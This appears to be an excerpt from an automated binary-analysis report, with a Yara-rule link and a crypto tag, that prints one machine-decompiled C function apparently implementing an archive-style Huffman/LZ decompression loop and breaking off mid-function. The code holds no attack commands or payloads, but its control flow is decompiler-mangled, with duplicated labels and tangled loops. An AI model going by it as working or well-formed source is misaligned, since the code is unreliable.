Uniqueness

Uniqueness Score: -1.00%

Function 00415D9A Relevance: .8, Instructions: 795
COMMONCrypto

Download Yara Rule

C-Code - Quality: 99%

			E00415D9A(void* __ecx, signed int _a4) {
				void* _v8;
				char* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t458;
				intOrPtr _t460;
				intOrPtr _t461;
				signed int _t462;
				signed int _t463;
				unsigned int _t464;
				signed int _t467;
				signed int _t468;
				signed int _t469;
				signed int _t471;
				unsigned int _t472;
				signed int _t475;
				signed int _t476;
				signed int _t481;
				intOrPtr _t498;
				unsigned int _t501;
				unsigned int _t504;
				intOrPtr* _t505;
				unsigned int _t506;
				signed int _t509;
				signed int _t510;
				signed int _t511;
				signed int _t512;
				signed int _t514;
				unsigned int _t519;
				unsigned int _t520;
				unsigned int _t522;
				intOrPtr* _t523;
				signed int _t525;
				char _t526;
				signed int _t528;
				signed int _t529;
				signed int _t536;
				unsigned int _t537;
				signed int _t540;
				signed int _t541;
				signed int _t549;
				signed int _t550;
				unsigned int _t569;
				unsigned int _t572;
				intOrPtr* _t573;
				unsigned int _t576;
				signed int _t579;
				signed int _t580;
				signed int _t581;
				unsigned int _t582;
				signed int _t585;
				signed int _t586;
				signed int _t587;
				unsigned int _t588;
				signed int _t589;
				signed int _t590;
				signed int _t591;
				signed int _t593;
				unsigned int _t594;
				signed int _t597;
				signed int _t598;
				signed int _t600;
				void* _t607;
				signed int _t608;
				intOrPtr _t613;
				signed int _t614;
				signed int _t617;
				void* _t619;
				intOrPtr* _t622;
				signed int _t625;
				void* _t627;
				signed char _t631;
				void* _t633;
				signed int _t634;
				intOrPtr _t636;
				char* _t639;
				char* _t640;
				void* _t642;
				intOrPtr* _t646;
				void* _t647;
				signed int _t650;
				signed int _t652;
				char* _t658;
				signed char _t663;
				signed int _t666;
				void* _t668;
				signed char _t672;
				signed int _t674;
				unsigned int _t679;
				char* _t680;
				void* _t682;
				signed int _t688;
				void* _t690;
				intOrPtr* _t692;
				void* _t693;
				signed int _t696;
				void* _t699;
				intOrPtr* _t704;
				void* _t705;
				signed int _t708;
				void* _t711;
				intOrPtr* _t716;
				void* _t717;
				signed int _t720;
				signed int _t726;
				signed int _t727;
				signed int _t732;
				signed int _t733;
				signed int _t738;
				signed int _t744;
				void* _t758;
				signed int _t759;
				intOrPtr _t761;
				char* _t762;
				signed int _t771;
				signed int _t772;
				unsigned int _t776;
				void* _t778;
				signed int _t779;
				intOrPtr _t781;
				char* _t782;
				signed int _t791;
				signed int _t792;
				void* _t806;
				intOrPtr* _t808;
				void* _t810;

				_t608 = _a4;
				_t806 = __ecx;
				if( *((char*)(_t608 + 0x2c)) != 0) {
					L3:
					_t458 =  *((intOrPtr*)(_t608 + 0x18));
					_t808 = _t608 + 4;
					__eflags =  *_t808 -  *((intOrPtr*)(_t608 + 0x24)) + _t458;
					if( *_t808 <=  *((intOrPtr*)(_t608 + 0x24)) + _t458) {
						_t613 =  *((intOrPtr*)(_t608 + 0x20)) + _t458 - 1;
						_t460 =  *((intOrPtr*)(_t608 + 0x4acc)) - 0x10;
						__eflags = _t613 - _t460;
						_v32 = _t613;
						_v36 = _t460;
						_v28 = _t613;
						if(_t613 >= _t460) {
							_v28 = _t460;
						}
						while(1) {
							L8:
							_t614 =  *(_t806 + 0xe6dc);
							 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
							_t461 =  *_t808;
							__eflags = _t461 - _v28;
							if(_t461 < _v28) {
								goto L15;
							}
							L9:
							__eflags = _t461 - _v32;
							if(__eflags > 0) {
								L98:
								_t526 = 1;
								goto L99;
							}
							if(__eflags != 0) {
								L12:
								__eflags = _t461 - _v36;
								if(_t461 < _v36) {
									L14:
									__eflags = _t461 -  *((intOrPtr*)(_t608 + 0x4acc));
									if(_t461 >=  *((intOrPtr*)(_t608 + 0x4acc))) {
										L157:
										 *((char*)(_t608 + 0x4ad3)) = 1;
										goto L98;
									}
									goto L15;
								}
								__eflags =  *((char*)(_t608 + 0x4ad2));
								if( *((char*)(_t608 + 0x4ad2)) == 0) {
									goto L157;
								}
								goto L14;
							}
							__eflags =  *((intOrPtr*)(_t608 + 8)) -  *((intOrPtr*)(_t608 + 0x1c));
							if( *((intOrPtr*)(_t608 + 8)) >=  *((intOrPtr*)(_t608 + 0x1c))) {
								goto L98;
							}
							goto L12;
							L15:
							_t462 =  *(_t806 + 0x70);
							__eflags = ( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) - 0x1004;
							if(( *((intOrPtr*)(_t806 + 0x4b30)) - _t462 & _t614) >= 0x1004) {
								L20:
								_t463 = E0040978C(_t808);
								_t726 =  *(_t608 + 0xb4);
								_t464 = _t463 & 0x0000fffe;
								__eflags = _t464 -  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4));
								if(_t464 >=  *((intOrPtr*)(_t608 + 0x34 + _t726 * 4))) {
									_t727 = _t726 + 1;
									_a4 = 0xf;
									__eflags = _t727 - 0xf;
									if(_t727 >= 0xf) {
										L28:
										_t617 =  *(_t808 + 4) + _a4;
										 *_t808 =  *_t808 + (_t617 >> 3);
										_t730 = _a4;
										 *(_t808 + 4) = _t617 & 0x00000007;
										_t619 = 0x10;
										_t467 = (_t464 -  *((intOrPtr*)(_t608 + 0x30 + _a4 * 4)) >> _t619 - _a4) +  *((intOrPtr*)(_t608 + 0x74 + _t730 * 4));
										__eflags = _t467 -  *((intOrPtr*)(_t608 + 0x30));
										if(_t467 >=  *((intOrPtr*)(_t608 + 0x30))) {
											_t467 = 0;
											__eflags = 0;
										}
										_t468 =  *(_t608 + 0xcb8 + _t467 * 2) & 0x0000ffff;
										L31:
										__eflags = _t468 - 0x100;
										if(_t468 >= 0x100) {
											__eflags = _t468 - 0x106;
											if(_t468 < 0x106) {
												__eflags = _t468 - 0x100;
												if(_t468 != 0x100) {
													__eflags = _t468 - 0x101;
													if(_t468 != 0x101) {
														_t469 = _t468 + 0xfffffefe;
														__eflags = _t469;
														_t622 = _t806 + 0x54 + _t469 * 4;
														_v24 =  *_t622;
														if(_t469 == 0) {
															L127:
															 *((intOrPtr*)(_t806 + 0x54)) = _v24;
															_t471 = E0040978C(_t808);
															_t732 =  *(_t608 + 0x2d78);
															_t472 = _t471 & 0x0000fffe;
															__eflags = _t472 -  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4));
															if(_t472 >=  *((intOrPtr*)(_t608 + 0x2cf8 + _t732 * 4))) {
																_t733 = _t732 + 1;
																_a4 = 0xf;
																__eflags = _t733 - 0xf;
																if(_t733 >= 0xf) {
																	L135:
																	_t625 =  *(_t808 + 4) + _a4;
																	 *_t808 =  *_t808 + (_t625 >> 3);
																	_t736 = _a4;
																	 *(_t808 + 4) = _t625 & 0x00000007;
																	_t627 = 0x10;
																	_t475 = (_t472 -  *((intOrPtr*)(_t608 + 0x2cf4 + _a4 * 4)) >> _t627 - _a4) +  *((intOrPtr*)(_t608 + 0x2d38 + _t736 * 4));
																	__eflags = _t475 -  *((intOrPtr*)(_t608 + 0x2cf4));
																	if(_t475 >=  *((intOrPtr*)(_t608 + 0x2cf4))) {
																		_t475 = 0;
																		__eflags = 0;
																	}
																	_t476 =  *(_t608 + 0x397c + _t475 * 2) & 0x0000ffff;
																	L138:
																	__eflags = _t476 - 8;
																	if(_t476 >= 8) {
																		_t631 = (_t476 >> 2) - 1;
																		_a4 = _t631;
																		_t481 = ((_t476 & 0x00000003 | 0x00000004) << _t631) + 2;
																		_v20 = _t481;
																		__eflags = _t631;
																		if(_t631 > 0) {
																			_t506 = E0040978C(_t808);
																			_t642 = 0x10;
																			_v20 = _v20 + (_t506 >> _t642 - _a4);
																			_t509 =  *(_t808 + 4) + _a4;
																			 *_t808 =  *_t808 + (_t509 >> 3);
																			_t510 = _t509 & 0x00000007;
																			__eflags = _t510;
																			 *(_t808 + 4) = _t510;
																			_t481 = _v20;
																		}
																	} else {
																		_t481 = _t476 + 2;
																		_v20 = _t481;
																	}
																	_t738 =  *(_t806 + 0x70) - _v24;
																	_t633 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																	 *(_t806 + 0x68) = _t481;
																	_a4 = _t481;
																	_v16 = _t738;
																	__eflags = _t738 - _t633;
																	if(_t738 >= _t633) {
																		L153:
																		__eflags = _t481;
																	} else {
																		__eflags =  *(_t806 + 0x70) - _t633;
																		if( *(_t806 + 0x70) >= _t633) {
																			goto L153;
																		}
																		_t636 =  *((intOrPtr*)(_t806 + 0x4b34));
																		_v12 = _t738 + _t636;
																		_t744 =  *(_t806 + 0x70);
																		_v8 = _t636 + _t744;
																		 *(_t806 + 0x70) = _t481 + _t744;
																		__eflags = _v24 - _t481;
																		if(_v24 >= _t481) {
																			__eflags = _t481 - 8;
																			if(_t481 < 8) {
																				L113:
																				__eflags = _a4;
																				if(_a4 <= 0) {
																					continue;
																					do {
																						do {
																							do {
																								do {
																									do {
																										do {
																											do {
																												do {
																													do {
																														do {
																															do {
																																do {
																																	do {
																																		do {
																																			while(1) {
																																				L8:
																																				_t614 =  *(_t806 + 0xe6dc);
																																				 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																																				_t461 =  *_t808;
																																				__eflags = _t461 - _v28;
																																				if(_t461 < _v28) {
																																					goto L15;
																																				}
																																				goto L9;
																																			}
																																			L82:
																																			__eflags = _a4;
																																		} while (_a4 <= 0);
																																		goto L83;
																																	} while (_a4 <= 0);
																																	goto L114;
																																	L83:
																																	__eflags = _a4 - 1;
																																	_t639 = _v12;
																																	 *_t639 =  *_v8;
																																} while (_a4 <= 1);
																																goto L84;
																															} while (_a4 <= 1);
																															goto L115;
																															L84:
																															__eflags = _a4 - 2;
																															_t227 = _v8 + 1; // 0x300905a
																															 *((char*)(_t639 + 1)) =  *_t227;
																														} while (_a4 <= 2);
																														goto L85;
																														L115:
																														__eflags = _a4 - 2;
																														 *((char*)(_t639 + 1)) =  *((intOrPtr*)(_v12 + 1));
																													} while (_a4 <= 2);
																													goto L116;
																													L85:
																													__eflags = _a4 - 3;
																													_t231 = _v8 + 2; // 0x30090
																													 *((char*)(_t639 + 2)) =  *_t231;
																												} while (_a4 <= 3);
																												goto L86;
																												L116:
																												__eflags = _a4 - 3;
																												 *((char*)(_t639 + 2)) =  *((intOrPtr*)(_v12 + 2));
																											} while (_a4 <= 3);
																											goto L117;
																											L86:
																											__eflags = _a4 - 4;
																											_t235 = _v8 + 3; // 0x300
																											 *((char*)(_t639 + 3)) =  *_t235;
																										} while (_a4 <= 4);
																										goto L87;
																										L117:
																										__eflags = _a4 - 4;
																										 *((char*)(_t639 + 3)) =  *((intOrPtr*)(_v12 + 3));
																									} while (_a4 <= 4);
																									goto L118;
																									L87:
																									__eflags = _a4 - 5;
																									_t239 = _v8 + 4; // 0x3
																									 *((char*)(_t639 + 4)) =  *_t239;
																								} while (_a4 <= 5);
																								goto L88;
																								L118:
																								__eflags = _a4 - 5;
																								 *((char*)(_t639 + 4)) =  *((intOrPtr*)(_v12 + 4));
																							} while (_a4 <= 5);
																							goto L119;
																							L88:
																							__eflags = _a4 - 6;
																							_t243 = _v8 + 5; // 0x4000000
																							 *((char*)(_t639 + 5)) =  *_t243;
																						} while (_a4 <= 6);
																						_t498 = _v8;
																						L90:
																						_t246 = _t498 + 6; // 0x40000
																						 *((char*)(_t639 + 6)) =  *_t246;
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							L91:
																							__eflags = _v16;
																						} while (_v16 <= 0);
																						_t779 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t674 & _t779) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t779 =  *(_t806 + 0xe6dc);
																							_t674 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t674;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t779;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							while(1) {
																								L8:
																								_t614 =  *(_t806 + 0xe6dc);
																								 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																								_t461 =  *_t808;
																								__eflags = _t461 - _v28;
																								if(_t461 < _v28) {
																									goto L15;
																								}
																								goto L9;
																							}
																							goto L153;
																						} while (_t481 <= 0);
																						_t634 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							_v16 = _v16 + 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_v16 & _t634) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t634 =  *(_t806 + 0xe6dc);
																							__eflags = _a4;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t634;
																						} while (_a4 > 0);
																						goto L8;
																						do {
																							do {
																								do {
																									while(1) {
																										L8:
																										_t614 =  *(_t806 + 0xe6dc);
																										 *(_t806 + 0x70) =  *(_t806 + 0x70) & _t614;
																										_t461 =  *_t808;
																										__eflags = _t461 - _v28;
																										if(_t461 < _v28) {
																											goto L15;
																										}
																										goto L9;
																									}
																									goto L102;
																								} while (_t512 == 0);
																								_t652 =  *(_t806 + 0x70);
																								_a4 = _t512;
																								_t514 = _t652 -  *((intOrPtr*)(_t806 + 0x54));
																								_t758 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
																								_v24 = _t514;
																								__eflags = _t514 - _t758;
																								if(_t514 >= _t758) {
																									goto L121;
																								}
																								__eflags = _t652 - _t758;
																								if(_t652 >= _t758) {
																									goto L121;
																								}
																								_t761 =  *((intOrPtr*)(_t806 + 0x4b34));
																								_v12 = _t514 + _t761;
																								_t519 = _a4;
																								_t762 = _t761 + _t652;
																								_v8 = _t762;
																								 *(_t806 + 0x70) = _t652 + _t519;
																								__eflags =  *((intOrPtr*)(_t806 + 0x54)) - _t519;
																								if( *((intOrPtr*)(_t806 + 0x54)) >= _t519) {
																									__eflags = _t519 - 8;
																									if(_t519 < 8) {
																										goto L113;
																									}
																									_t520 = _t519 >> 3;
																									__eflags = _t520;
																									_v24 = _t520;
																									do {
																										E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																										_v12 = _v12 + 8;
																										_v8 = _v8 + 8;
																										_a4 = _a4 - 8;
																										_t810 = _t810 + 0xc;
																										_t307 =  &_v24;
																										 *_t307 = _v24 - 1;
																										__eflags =  *_t307;
																									} while ( *_t307 != 0);
																									goto L113;
																								}
																								__eflags = _t519 - 8;
																								if(_t519 < 8) {
																									goto L113;
																								}
																								_t522 = _t519 >> 3;
																								__eflags = _t522;
																								_v24 = _t522;
																								_t523 = _v12;
																								_t658 = _t762;
																								do {
																									_a4 = _a4 - 8;
																									 *_t658 =  *_t523;
																									 *((char*)(_t658 + 1)) =  *((intOrPtr*)(_t523 + 1));
																									 *((char*)(_t658 + 2)) =  *((intOrPtr*)(_t523 + 2));
																									 *((char*)(_t658 + 3)) =  *((intOrPtr*)(_t523 + 3));
																									 *((char*)(_t658 + 4)) =  *((intOrPtr*)(_t523 + 4));
																									 *((char*)(_t658 + 5)) =  *((intOrPtr*)(_t523 + 5));
																									 *((char*)(_t658 + 6)) =  *((intOrPtr*)(_t523 + 6));
																									 *((char*)(_t658 + 7)) =  *((intOrPtr*)(_t523 + 7));
																									_t523 = _t523 + 8;
																									_t658 = _t658 + 8;
																									_t294 =  &_v24;
																									 *_t294 = _v24 - 1;
																									__eflags =  *_t294;
																								} while ( *_t294 != 0);
																								L109:
																								_v8 = _t640;
																								_v12 = _t505;
																								goto L113;
																								L97:
																								_t528 = E00415771(_t806,  &_v52);
																								__eflags = _t528;
																							} while (_t528 != 0);
																							goto L98;
																							L121:
																							__eflags = _a4;
																						} while (_a4 <= 0);
																						_t759 =  *(_t806 + 0xe6dc);
																						do {
																							_a4 = _a4 - 1;
																							 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) =  *((intOrPtr*)((_t514 & _t759) +  *((intOrPtr*)(_t806 + 0x4b34))));
																							_t759 =  *(_t806 + 0xe6dc);
																							_t514 = _v24 + 1;
																							__eflags = _a4;
																							_v24 = _t514;
																							 *(_t806 + 0x70) =  *(_t806 + 0x70) + 0x00000001 & _t759;
																						} while (_a4 > 0);
																						goto L8;
																						L119:
																						__eflags = _a4 - 6;
																						 *((char*)(_t639 + 5)) =  *((intOrPtr*)(_v12 + 5));
																					} while (_a4 <= 6);
																					_t498 = _v12;
																					goto L90;
																				}
																				L114:
																				__eflags = _a4 - 1;
																				_t639 = _v8;
																				 *_t639 =  *_v12;
																			}
																			_t501 = _v20 >> 3;
																			__eflags = _t501;
																			_v24 = _t501;
																			do {
																				E0041C290(_t608, _t806, _t808, _v8, _v12, 8);
																				_v12 = _v12 + 8;
																				_v8 = _v8 + 8;
																				_a4 = _a4 - 8;
																				_t810 = _t810 + 0xc;
																				_t441 =  &_v24;
																				 *_t441 = _v24 - 1;
																				__eflags =  *_t441;
																			} while ( *_t441 != 0);
																			goto L113;
																		}
																		__eflags = _t481 - 8;
																		if(_t481 < 8) {
																			goto L113;
																		}
																		_t640 = _v8;
																		_t504 = _v20 >> 3;
																		__eflags = _t504;
																		_v24 = _t504;
																		_t505 = _v12;
																		do {
																			_a4 = _a4 - 8;
																			 *_t640 =  *_t505;
																			 *((char*)(_t640 + 1)) =  *((intOrPtr*)(_t505 + 1));
																			 *((char*)(_t640 + 2)) =  *((intOrPtr*)(_t505 + 2));
																			 *((char*)(_t640 + 3)) =  *((intOrPtr*)(_t505 + 3));
																			 *((char*)(_t640 + 4)) =  *((intOrPtr*)(_t505 + 4));
																			 *((char*)(_t640 + 5)) =  *((intOrPtr*)(_t505 + 5));
																			 *((char*)(_t640 + 6)) =  *((intOrPtr*)(_t505 + 6));
																			 *((char*)(_t640 + 7)) =  *((intOrPtr*)(_t505 + 7));
																			_t505 = _t505 + 8;
																			_t640 = _t640 + 8;
																			_t429 =  &_v24;
																			 *_t429 = _v24 - 1;
																			__eflags =  *_t429;
																		} while ( *_t429 != 0);
																		goto L109;
																	}
																}
																_t646 = _t608 + 0x2cf8 + _t733 * 4;
																while(1) {
																	__eflags = _t472 -  *_t646;
																	if(_t472 <  *_t646) {
																		break;
																	}
																	_t733 = _t733 + 1;
																	_t646 = _t646 + 4;
																	__eflags = _t733 - 0xf;
																	if(_t733 < 0xf) {
																		continue;
																	}
																	goto L135;
																}
																_a4 = _t733;
																goto L135;
															}
															_t647 = 0x10;
															_t511 = _t472 >> _t647 - _t732;
															_t650 = ( *(_t511 + _t608 + 0x2d7c) & 0x000000ff) +  *(_t808 + 4);
															 *_t808 =  *_t808 + (_t650 >> 3);
															 *(_t808 + 4) = _t650 & 0x00000007;
															_t476 =  *(_t608 + 0x317c + _t511 * 2) & 0x0000ffff;
															goto L138;
														} else {
															goto L126;
														}
														do {
															L126:
															 *_t622 =  *((intOrPtr*)(_t622 - 4));
															_t469 = _t469 - 1;
															_t622 = _t622 - 4;
															__eflags = _t469;
														} while (_t469 > 0);
														goto L127;
													}
													L102:
													_t512 =  *(_t806 + 0x68);
													__eflags = _t512;
												}
												_push( &_v52);
												_t525 = E00414290(_t806, _t808);
												__eflags = _t525;
												if(_t525 == 0) {
													goto L98;
												}
												goto L97;
											}
											_t529 = _t468 + 0xfffffefa;
											__eflags = _t529 - 8;
											if(_t529 >= 8) {
												_t663 = (_t529 >> 2) - 1;
												_a4 = _t663;
												_v12 = ((_t529 & 0x00000003 | 0x00000004) << _t663) + 2;
												__eflags = _t663;
												if(_t663 > 0) {
													_t594 = E0040978C(_t808);
													_t711 = 0x10;
													_v12 = _v12 + (_t594 >> _t711 - _a4);
													_t597 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t597 >> 3);
													_t598 = _t597 & 0x00000007;
													__eflags = _t598;
													 *(_t808 + 4) = _t598;
												}
											} else {
												_v12 = _t529 + 2;
											}
											_v16 = _v12;
											_t536 = E0040978C(_t808);
											_t771 =  *(_t608 + 0xfa0);
											_t537 = _t536 & 0x0000fffe;
											__eflags = _t537 -  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4));
											if(_t537 >=  *((intOrPtr*)(_t608 + 0xf20 + _t771 * 4))) {
												_t772 = _t771 + 1;
												_a4 = 0xf;
												__eflags = _t772 - 0xf;
												if(_t772 >= 0xf) {
													L46:
													_t666 =  *(_t808 + 4) + _a4;
													 *_t808 =  *_t808 + (_t666 >> 3);
													_t775 = _a4;
													 *(_t808 + 4) = _t666 & 0x00000007;
													_t668 = 0x10;
													_t540 = (_t537 -  *((intOrPtr*)(_t608 + 0xf1c + _a4 * 4)) >> _t668 - _a4) +  *((intOrPtr*)(_t608 + 0xf60 + _t775 * 4));
													__eflags = _t540 -  *((intOrPtr*)(_t608 + 0xf1c));
													if(_t540 >=  *((intOrPtr*)(_t608 + 0xf1c))) {
														_t540 = 0;
														__eflags = 0;
													}
													_t541 =  *(_t608 + 0x1ba4 + _t540 * 2) & 0x0000ffff;
													goto L49;
												}
												_t704 = _t608 + 0xf20 + _t772 * 4;
												while(1) {
													__eflags = _t537 -  *_t704;
													if(_t537 <  *_t704) {
														break;
													}
													_t772 = _t772 + 1;
													_t704 = _t704 + 4;
													__eflags = _t772 - 0xf;
													if(_t772 < 0xf) {
														continue;
													}
													goto L46;
												}
												_a4 = _t772;
												goto L46;
											} else {
												_t705 = 0x10;
												_t593 = _t537 >> _t705 - _t771;
												_t708 = ( *(_t593 + _t608 + 0xfa4) & 0x000000ff) +  *(_t808 + 4);
												 *_t808 =  *_t808 + (_t708 >> 3);
												 *(_t808 + 4) = _t708 & 0x00000007;
												_t541 =  *(_t608 + 0x13a4 + _t593 * 2) & 0x0000ffff;
												L49:
												__eflags = _t541 - 4;
												if(_t541 >= 4) {
													_t672 = (_t541 >> 1) - 1;
													_a4 = _t672;
													_v20 = ((_t541 & 0x00000001 | 0x00000002) << _t672) + 1;
													__eflags = _t672;
													if(_t672 <= 0) {
														L68:
														_t776 = _v20;
														__eflags = _t776 - 0x100;
														if(_t776 > 0x100) {
															_v16 = _v12 + 1;
															__eflags = _t776 - 0x2000;
															if(_t776 > 0x2000) {
																_v16 = _v16 + 1;
																__eflags = _t776 - 0x40000;
																if(_t776 > 0x40000) {
																	_t166 =  &_v16;
																	 *_t166 = _v16 + 1;
																	__eflags =  *_t166;
																}
															}
														}
														 *((intOrPtr*)(_t806 + 0x60)) =  *((intOrPtr*)(_t806 + 0x5c));
														 *((intOrPtr*)(_t806 + 0x5c)) =  *((intOrPtr*)(_t806 + 0x58));
														 *((intOrPtr*)(_t806 + 0x58)) =  *((intOrPtr*)(_t806 + 0x54));
														_t549 = _v16;
														 *(_t806 + 0x68) = _t549;
														_a4 = _t549;
														_t550 =  *(_t806 + 0x70);
														_t674 = _t550 - _t776;
														 *((intOrPtr*)(_t806 + 0x54)) = _t776;
														_t778 =  *((intOrPtr*)(_t806 + 0xe6d8)) + 0xffffefff;
														_v24 = _t674;
														__eflags = _t674 - _t778;
														if(_t674 >= _t778) {
															goto L91;
														} else {
															__eflags = _t550 - _t778;
															if(_t550 >= _t778) {
																goto L91;
															}
															_t781 =  *((intOrPtr*)(_t806 + 0x4b34));
															_v8 = _t674 + _t781;
															_t679 = _v16;
															_t782 = _t781 + _t550;
															_v12 = _t782;
															 *(_t806 + 0x70) = _t550 + _t679;
															__eflags = _v20 - _t679;
															if(_v20 >= _t679) {
																__eflags = _t679 - 8;
																if(_t679 < 8) {
																	goto L82;
																}
																_t569 = _v16 >> 3;
																__eflags = _t569;
																_v24 = _t569;
																do {
																	E0041C290(_t608, _t806, _t808, _v12, _v8, 8);
																	_v8 = _v8 + 8;
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t810 = _t810 + 0xc;
																	_t219 =  &_v24;
																	 *_t219 = _v24 - 1;
																	__eflags =  *_t219;
																} while ( *_t219 != 0);
																goto L82;
															}
															__eflags = _t679 - 8;
															if(_t679 < 8) {
																goto L82;
															}
															_t572 = _t679 >> 3;
															__eflags = _t572;
															_v24 = _t572;
															_t573 = _v8;
															_t680 = _t782;
															do {
																_a4 = _a4 - 8;
																 *_t680 =  *_t573;
																_t191 = _t573 + 1; // 0x300905a
																 *((char*)(_t680 + 1)) =  *_t191;
																_t193 = _t573 + 2; // 0x30090
																 *((char*)(_t680 + 2)) =  *_t193;
																_t195 = _t573 + 3; // 0x300
																 *((char*)(_t680 + 3)) =  *_t195;
																_t197 = _t573 + 4; // 0x3
																 *((char*)(_t680 + 4)) =  *_t197;
																_t199 = _t573 + 5; // 0x4000000
																 *((char*)(_t680 + 5)) =  *_t199;
																_t201 = _t573 + 6; // 0x40000
																 *((char*)(_t680 + 6)) =  *_t201;
																_t203 = _t573 + 7; // 0x400
																 *((char*)(_t680 + 7)) =  *_t203;
																_t573 = _t573 + 8;
																_t680 = _t680 + 8;
																_t205 =  &_v24;
																 *_t205 = _v24 - 1;
																__eflags =  *_t205;
															} while ( *_t205 != 0);
															_v12 = _t680;
															_v8 = _t573;
															goto L82;
														}
													}
													__eflags = _t672 - 4;
													if(__eflags < 0) {
														_t576 = E00412AEB(_t808);
														_t682 = 0x20;
														_v20 = _v20 + (_t576 >> _t682 - _a4);
														_t579 =  *(_t808 + 4) + _a4;
														 *_t808 =  *_t808 + (_t579 >> 3);
														_t580 = _t579 & 0x00000007;
														__eflags = _t580;
														 *(_t808 + 4) = _t580;
														goto L68;
													}
													if(__eflags > 0) {
														_t588 = E00412AEB(_t808);
														_t589 = _a4;
														_t699 = 0x24;
														_t590 = _t589 +  *(_t808 + 4) - 4;
														_v20 = _v20 + (_t588 >> _t699 - _t589 << 4);
														 *_t808 =  *_t808 + (_t590 >> 3);
														_t591 = _t590 & 0x00000007;
														__eflags = _t591;
														 *(_t808 + 4) = _t591;
													}
													_t581 = E0040978C(_t808);
													_t791 =  *(_t608 + 0x1e8c);
													_t582 = _t581 & 0x0000fffe;
													__eflags = _t582 -  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4));
													if(_t582 >=  *((intOrPtr*)(_t608 + 0x1e0c + _t791 * 4))) {
														_t792 = _t791 + 1;
														_a4 = 0xf;
														__eflags = _t792 - 0xf;
														if(_t792 >= 0xf) {
															L63:
															_t688 =  *(_t808 + 4) + _a4;
															 *_t808 =  *_t808 + (_t688 >> 3);
															_t795 = _a4;
															 *(_t808 + 4) = _t688 & 0x00000007;
															_t690 = 0x10;
															_t585 = (_t582 -  *((intOrPtr*)(_t608 + 0x1e08 + _a4 * 4)) >> _t690 - _a4) +  *((intOrPtr*)(_t608 + 0x1e4c + _t795 * 4));
															__eflags = _t585 -  *((intOrPtr*)(_t608 + 0x1e08));
															if(_t585 >=  *((intOrPtr*)(_t608 + 0x1e08))) {
																_t585 = 0;
																__eflags = 0;
															}
															_t586 =  *(_t608 + 0x2a90 + _t585 * 2) & 0x0000ffff;
															goto L66;
														}
														_t692 = _t608 + 0x1e0c + _t792 * 4;
														while(1) {
															__eflags = _t582 -  *_t692;
															if(_t582 <  *_t692) {
																break;
															}
															_t792 = _t792 + 1;
															_t692 = _t692 + 4;
															__eflags = _t792 - 0xf;
															if(_t792 < 0xf) {
																continue;
															}
															goto L63;
														}
														_a4 = _t792;
														goto L63;
													} else {
														_t693 = 0x10;
														_t587 = _t582 >> _t693 - _t791;
														_t696 = ( *(_t587 + _t608 + 0x1e90) & 0x000000ff) +  *(_t808 + 4);
														 *_t808 =  *_t808 + (_t696 >> 3);
														 *(_t808 + 4) = _t696 & 0x00000007;
														_t586 =  *(_t608 + 0x2290 + _t587 * 2) & 0x0000ffff;
														L66:
														_v20 = _v20 + _t586;
														goto L68;
													}
												}
												_v20 = _t541 + 1;
												goto L68;
											}
										}
										 *( *((intOrPtr*)(_t806 + 0x4b34)) +  *(_t806 + 0x70)) = _t468;
										 *(_t806 + 0x70) =  *(_t806 + 0x70) + 1;
										continue;
									}
									_t716 = _t608 + 0x34 + _t727 * 4;
									while(1) {
										__eflags = _t464 -  *_t716;
										if(_t464 <  *_t716) {
											break;
										}
										_t727 = _t727 + 1;
										_t716 = _t716 + 4;
										__eflags = _t727 - 0xf;
										if(_t727 < 0xf) {
											continue;
										}
										goto L28;
									}
									_a4 = _t727;
									goto L28;
								}
								_t717 = 0x10;
								_t600 = _t464 >> _t717 - _t726;
								_t720 = ( *(_t600 + _t608 + 0xb8) & 0x000000ff) +  *(_t808 + 4);
								 *_t808 =  *_t808 + (_t720 >> 3);
								 *(_t808 + 4) = _t720 & 0x00000007;
								_t468 =  *(_t608 + 0x4b8 + _t600 * 2) & 0x0000ffff;
								goto L31;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4b30)) - _t462;
							if( *((intOrPtr*)(_t806 + 0x4b30)) == _t462) {
								goto L20;
							}
							E00415346(_t806);
							__eflags =  *((intOrPtr*)(_t806 + 0x4c54)) -  *((intOrPtr*)(_t806 + 0x4c44));
							if(__eflags > 0) {
								goto L5;
							}
							if(__eflags < 0) {
								goto L20;
							}
							__eflags =  *((intOrPtr*)(_t806 + 0x4c50)) -  *((intOrPtr*)(_t806 + 0x4c40));
							if( *((intOrPtr*)(_t806 + 0x4c50)) >  *((intOrPtr*)(_t806 + 0x4c40))) {
								goto L5;
							}
